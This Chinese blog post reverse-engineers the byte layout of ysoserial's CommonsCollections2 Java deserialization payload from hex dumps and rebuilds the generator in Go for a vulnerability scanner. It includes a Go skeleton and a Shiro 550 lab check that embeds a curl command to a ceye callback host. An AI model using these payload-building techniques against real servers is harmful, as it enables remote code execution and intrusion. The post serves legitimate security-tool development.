文章插圖

文章插圖
最近用Go編寫Java反序列化相關的掃描器 , 遇到一個難點:如何拿到根據命令生成的payload
通過閱讀已有開源工具的源碼 , 發現大致有以下兩種解決方案
執行命令法
使用命令執行ysoserial.jar , 例如一些python工具用system , popen等函數 , 拼接命令拿到輸出
很多工具直接采用Java編寫 , 生成payload的部分可以脫離ysoserial.jar , 結合反射和Javaassist技術做進一步的處理
反序列化數據本身是有結構的 , 比如多次生成CC1的payload可以看到只有命令和命令前兩字節有變化 。前面兩字節表示了命令的長度 , 所以我們直接拼接一下即可實現CC1
(圖中0008表示命令長度 , calc.exe是命令)
預備
筆者在ysoserial的PayloadRunner里寫代碼導出 , 并且打印一下HEX , 方便比較
private static final char[] hexCode = "0123456789ABCDEF".toCharArray();public static String printHexBinary(byte[] data) {StringBuilder r = new StringBuilder(data.length * 2);for (byte b : data) {r.append(hexCode[(b >> 4) & 0xF]);r.append(hexCode[(b & 0xF)]);}return r.toString();}public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {......FileOutputStream fos = new FileOutputStream("cc2.bin");fos.write(ser);System.out.println(printHexBinary(ser));......分析過程分析生成的cc2.bin需要用xxd命令:xxd cc2.bin
第一處關鍵點:
0000 069c表示后面cafe babe開頭的class文件長度 , 以此可以確定payload固定的開頭部分 。開頭部分命名為globalPrefix , 四字節的長度變量命名為dataLen
(如何確認到這里:肉眼審計 , 排除看上去是常量或系統函數的地方)
00000340: 6767 db37 0200 0078 7000 0000 0275 7200gg.7...xp....ur.00000350: 025b 42ac f317 f806 0854 e002 0000 7870.[B......T....xp00000360: 0000 069c cafe babe 0000 0032 0039 0a00...........2.9..00000370: 0300 2207 0037 0700 2507 0026 0100 1073.."..7..%..&...s以此為根據找到class文件結束位置0x0364+0x069c=0x0a00 , 從0x364-0x0a00這一部分都是構造templatesImpl的二進制 , 觀察到7571007e以后的部分都是常量 , 以此確認結尾部分是7571007e往后至結尾 , 命名為globalSuffix000009f0: 0011 0000 000a 0001 0002 0023 0010 0009...........#....00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000uq.~............00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807.2..............00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369.....serialVersi繼續從一開始的cafe babe審計至00000800: 000863616c632e657865 , 0008表示長度為8的命令calc.exe , 以此確認從cafe babe開始的class文件的開頭部分 , 命名為prefix000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6ctime...()Ljava/l000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00ang/Runtime;..,.00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578-..+.....calc.ex00000810: 6508 0030 0100 0465 7865 6301 0027 284ce..0...exec..'(L因此從0x0364-0x0806為常量:cafebabe…2b002e01隨后插入2字節的命令長度和命令本身 , 可以動態構造 , 分別命名為cmdLen和cmd
審計至0x0870 , 發現0x0871-0x087e和0x892-0x089f是兩個相同的數字 , 長度14 。經過多個操作系統的比較 , 發現這個數字可以是14 , 15 , 16 。這個數字來源是系統時間 , 作用只是一個隨機ID 。所以我們可以生成隨機的數字 , 隨機數命名為randNum
在命令和隨機數之間還有一部分多余的數據 , 我們將它命名為beforeRand
中間拼接的部分是0x087f-0x0891 , 也就是01001f4c79736f73657269616c2f50776e6572 , 分割符命名為split(其實ysoserial/Pwner這個字符串也是可以隨機的 , 但沒必要再做)
00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501..StackMapTable.00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65..ysoserial/Pwne00000870: 7237 3833 3834 3833 3035 3434 3731 3601r78384830544716.00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e..Lysoserial/Pwn00000890: 6572 3738 3338 3438 3330 3534 3437 3136er78384830544716000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00;.!.............000008b0: 0500 0600 0100 0700 0000 0200 0800 0400................最后確認class文件的結尾部分 , 從0x08a0-0x09ff , 固定格式3b002100…00100009 , 命名為suffix , 至此可以成功構造出templatesImpl3B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A00010002002300100009實現通過上文中的命名 , 可以得出一個簡化后的實現函數
func GetCommonsCollections2(cmd string) []byte {......// dataLen取決于TemplateImpl的大小// 在TemplateImpl中構造命令// 其他都是常量templateImpl := GetTemplateImpl(cmd)dataLen := calcTemplateImpl(templateImpl)......return globalPrefix + dataLen + templateImpl + globalSuffix}func GetTemplateImpl(cmd string) []byte {......// cmd由用戶輸入// cmdLen可以計算得出// randNum可以隨機出// 其他都是常量cmdLen := caclCmdLen(cmd)randNum := getRandNum(cmd)......return prefix + cmdLen + cmd + beforeRand + randNum + split + randNum + suffix}測試按照思路生成好之后 , 測試時先用ysoserial生成數據 , xxd命令閱讀得到隨機數 , 把變量randNum替換
然后生成Payload進行判斷 , 筆者調試過程遇到不少的坑 , 比如randNum忘記做hex.encode了
而其中cmdLen和dataLen變量其實是無法一眼看出的 , 筆者能夠確認是因為跑了多次ysoserial , 對比分析得出的結果
實踐
筆者在github提交了比較完整的一個庫:https://github.com/EmYiQing/Gososerial
該庫支持了CC1-CC7,CCK1-CCK4,CB1這些鏈 , 并且經過了驗證沒有問題 , 可以做到ysoserial的效果
初步確定生成的payload沒問題 , 進一步確認需要靶機
【java二進制表示方法 java 二進制表示】這里用了vulhub的shiro550反序列化靶機 , 用curl命令結合ceye平臺 , 成功觸發
(下圖為筆者用golang編寫的shiro檢測小工具 , 調用了gososerial的函數 , 成功執行)
randStr = tool.GetRandomLetter(20)payload = gososerial.GetCC5("curl " + ceyeInfo.Identifier + "/" + randStr)log.Info("check %s", gadget.CC5)SendPayload(key, payload, target)if checkCeyeResp(ceyeInfo, randStr) {log.Info("payload %s success", gadget.CC5)}整個過程不難 , 但需要耐心和眼力
其他的反序列化鏈換湯不換藥 , 甚至TomcatEcho也是類似的原理
因此安全開發者可以在不使用ysoserial的情況下 , 直接動態生成payload
另外文中這種半猜半測試的實現方式不妥 , 有興趣的大佬可以參考java底層反序列化的實現 , 對二進制數據做進一步的分析和構造
- 瀏覽器出現javascriptvoid 谷歌提示javascriptvoid怎么辦
- java哪個培訓學校好 java開發技術培訓哪家好
- java語言要學多久 java語言學多久
- java集合有哪幾種類型 java集合數據類型
- JAVA面向對象的特征 java如何體現面向對象的主要特征
- java軟件開發培訓班 java培訓包就業班
- java使用redis緩存 java實現redis緩存
- java簡歷包裝工作經驗 怎么包裝簡歷JAVA
- session共享如何實現 java session怎么共享
- 楊振寧相信造物者存在 楊振寧教授在視頻里明確表示宇宙有造物主
